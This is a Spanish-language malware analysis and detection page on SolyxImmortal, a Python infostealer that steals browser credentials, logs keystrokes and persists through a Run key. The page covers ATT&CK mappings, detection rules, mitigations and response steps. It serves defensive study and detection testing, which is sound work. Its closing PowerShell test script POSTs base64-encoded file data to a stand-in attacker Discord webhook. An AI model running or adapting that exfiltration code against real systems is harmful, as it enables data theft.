SOLYXIMMORTAL: ANÁLISIS DE MALWARE EN PYTHON
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Sol yxImmortal es un ladrón de información para Windows basado en Python que recopila credenciales, documentos, pulsaciones de teclas y capturas de pantalla, luego exfiltra los datos a través de webhooks de Discord. El malware se ejecuta completamente en el espacio del usuario, mantiene la persistencia plantando una copia en el directorio AppData del usuario y estableciendo un valor de clave de registro de ejecución, y continúa operando sin presentar ninguna interfaz de usuario visible.
Investigación
El análisis reveló dos URLs de webhook de Discord incrustadas y el uso de Windows DPAPI para descifrar credenciales de navegadores basados en Chromium. El ladrón registra las pulsaciones de teclas a través de un gancho de teclado, rastrea la ventana activa para identificar títulos de aplicaciones potencialmente sensibles y captura capturas de pantalla en un programa recurrente. La persistencia se implementa copiando la carga útil a una ubicación oculta bajo %AppData% y agregando un valor a la clave Run del HKCU para disparar la ejecución al iniciar sesión del usuario.
Mitigación
Hacer cumplir la lista de permitidos de aplicaciones, monitorear la creación y ejecución de binarios desde rutas escribibles por el usuario, detectar cambios en las claves Run a nivel de usuario y alertar sobre actividad de salida HTTPS POST hacia los endpoints de webhook de Discord. Fortalecer los controles alrededor de las tiendas de credenciales del navegador y reducir la exposición de puntos finales limitando o gobernando estrictamente el uso de lenguajes de scripting donde sea posible.
Respuesta
Al detectar, aislar el punto final afectado, eliminar la copia maliciosa residente en AppData, borrar el valor de clave Run asociado y bloquear las URLs de webhook de Discord identificadas. Rotar las credenciales para las cuentas potencialmente afectadas y realizar la recopilación forense de registros de pulsaciones de teclas, capturas de pantalla y bases de datos del navegador para apoyar el alcance y análisis de la causa raíz.
"graph TB %% Definiciones de clase classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Nodos de técnica tech_python["<b>Técnica</b> – <b>T1059.006</b> Intérprete de Comandos y Scripts: Python<br/><b>Descripción</b>: Ejecuta código malicioso de Python para lanzar el implante e iniciar funcionalidad."] class tech_python technique tech_registry["<b>Técnica</b> – <b>T1547.001</b> Ejecución de Inicio Automático al Arrancar o Iniciar Sesión: Claves Run del Registro<br/><b>Descripción</b>: Copia el malware a una ubicación escribible y agrega una clave Run para persistencia a través de inicios de sesión."] class tech_registry technique tech_hidden["<b>Técnica</b> – <b>T1564.005</b> Ocultar Artefactos: Sistema de Archivos Oculto<br/><b>Descripción</b>: Marca la copia maliciosa con atributos de oculto y sistema para evadir el descubrimiento."] class tech_hidden technique tech_browser_creds["<b>Técnica</b> – <b>T1555.003</b> Credenciales de Almacenes de Contraseñas: Navegadores Web<br/><b>Descripción</b>: Extrae y descifra credenciales guardadas de navegadores basados en Chromium usando la clave maestra y DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Técnica</b> – <b>T1083</b> Descubrimiento de Archivos y Directorios<br/><b>Descripción</b>: Enumera el sistema de archivos para localizar documentos de interés."] class tech_file_discovery technique tech_keylogging["<b>Técnica</b> – <b>T1056.001</b> Captura de Información: Registro de Pulsaciones de Teclas<br/><b>Descripción</b>: Graba pulsaciones de teclas a través de un oyente de teclado persistente y las almacena en memoria."] class tech_keylogging technique tech_screen_capture["<b>Técnica</b> – <b>T1113</b> Captura de Pantalla<br/><b>Descripción</b>: Captura capturas de pantalla de la ventana activa del primer plano regularmente y en actividades sensibles."] class tech_screen_capture technique tech_archive["<b>Técnica</b> – <b>T1560.002</b> Archivar Datos Recopilados: Archivar vía Librería<br/><b>Descripción</b>: Comprime datos preparados en un archivo ZIP usando una librería para reducir el tamaño y ocultar el contenido."] class tech_archive technique tech_obfuscate["<b>Técnica</b> – <b>T1027</b> Archivos e Información Ofuscados/Comprimidos<br/><b>Descripción</b>: Utiliza compresión para ocultar datos antes de la exfiltración."] class tech_obfuscate technique tech_exfil["<b>Técnica</b> – <b>T1567.004</b> Exfiltración a través de Webhook<br/><b>Descripción</b>: Envía datos recopilados a URLs de webhook de Discord controladas por el atacante a través de HTTPS."] class tech_exfil technique tech_third_party["<b>Técnica</b> – <b>T1102.003</b> Servicio Web: Servicios de Terceros<br/><b>Descripción</b>: Utiliza Discord como un servicio de terceros para comunicaciones de mando y control."] class tech_third_party technique %% Nodos de artefactos y procesos artifact_python["<b>Artefacto</b> – Lethalcompany.py ejecutado en el host víctima"] class artifact_python artifact process_copy["<b>Proceso</b> – Copia el malware en el directorio %AppData%"] class process_copy process artifact_persistence["<b>Artefacto</b> – Clave Run del Registro creada para el archivo copiado"] class artifact_persistence artifact artifact_hidden["<b>Artefacto</b> – Atributos del archivo establecidos como oculto y sistema"] class artifact_hidden artifact artifact_cred_extraction["<b>Artefacto</b> – Extracción de contraseñas y cookies de Chrome/Edge"] class artifact_cred_extraction artifact artifact_file_search["<b>Artefacto</b> – Enumeración recursiva de archivos .doc, .pdf, .xls en el hogar del usuario"] class artifact_file_search artifact artifact_keylog["<b>Artefacto</b> – Búfer de pulsaciones de teclas en memoria vaciado periódicamente"] class artifact_keylog artifact artifact_screenshot["<b>Artefacto</b> – Capturas de pantalla capturadas basadas en palabras clave de títulos de ventanas"] class artifact_screenshot artifact artifact_zip["<b>Artefacto</b> – Archivo ZIP creado con datos preparados"] class artifact_zip artifact artifact_exfil["<b>Artefacto</b> – HTTPS POST a webhook de Discord con archivo y capturas de pantalla"] class artifact_exfil artifact service_discord["<b>Servicio</b> – Webhook de Discord usado para C2 y exfiltración"] class service_discord service %% Conexiones mostrando el flujo del ataque artifact_python –>|ejecuta| tech_python tech_python –>|habilita| process_copy process_copy –>|coloca el archivo en AppData| artifact_persistence artifact_persistence –>|registra| tech_registry artifact_persistence –>|marca como oculto| tech_hidden tech_hidden –>|aplica a| artifact_hidden tech_browser_creds –>|recoge| artifact_cred_extraction tech_file_discovery –>|recoge| artifact_file_search tech_keylogging –>|captura| artifact_keylog tech_screen_capture –>|captura| artifact_screenshot tech_archive –>|crea| artifact_zip tech_obfuscate –>|soporta| tech_archive artifact_zip –>|preparado para| tech_exfil tech_exfil –>|usa| service_discord service_discord –>|recibe datos vía| artifact_exfil tech_third_party –>|proporciona canal para| tech_exfil "
Flujo de Ataque
Detecciones
Posible Abuso de Discord como Canal C2 (vía proxy)
Ver
Atribuir Ejecución para Ocultar Archivos (vía cmdline)
Ver
Puntos de Persistencia Posibles [ASEPs – Hive de Software/NTUSER] (vía registry_event)
Ver
IOCs (HashMd5) para detectar: SOLYXIMMORTAL: ANÁLISIS DE MALWARE PYTHON
Ver
IOCs (HashSha256) para detectar: SOLYXIMMORTAL: ANÁLISIS DE MALWARE PYTHON
Ver
Detección de Exfiltración de Malware SolyxImmortal a través de Webhooks de Discord [Conexión de Red de Windows]
Ver
Ejecución y Persistencia del Malware Python SolyxImmortal [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Chequeo Previo de Telemetría y Línea de Base debe haber pasado.
-
Narrativa de Ataque & Comandos:
El adversario ya ha comprometido el host y cosechado credenciales, registros de teclas y capturas de pantalla (T1056.001, T1113). El siguiente paso es exfiltrar los datos recopilados a través de un webhook malicioso de Discord. Usando PowerShell (nativo, sin binarios externos) el malware crea una carga JSON que contiene datos de archivo codificados en base‑64 y los publica en la URL del webhook. Debido a que la regla solo busca el nombre del host y el método HTTP, esta actividad debería desencadenar una alerta. -
Script de Prueba de Regresión:
# Exfiltración simulada de SolyxImmortal a través de webhook de Discord param( [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [string]$FilePath = "$env:TEMPsample.txt" ) # 1. Crear un archivo ficticio que represente datos recolectados Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s")) # 2. Codificar el contenido del archivo en Base64 (simulando ofuscación) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Construir la carga JSON esperada por el webhook de Discord $payload = @{ content = "Exfiltration payload" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. Enviar solicitud HTTPS POST Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "Intento de exfiltración enviado." -
Comandos de Limpieza:
# Eliminar el archivo ficticio y borrar cualquier variable residual Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "Limpieza completa."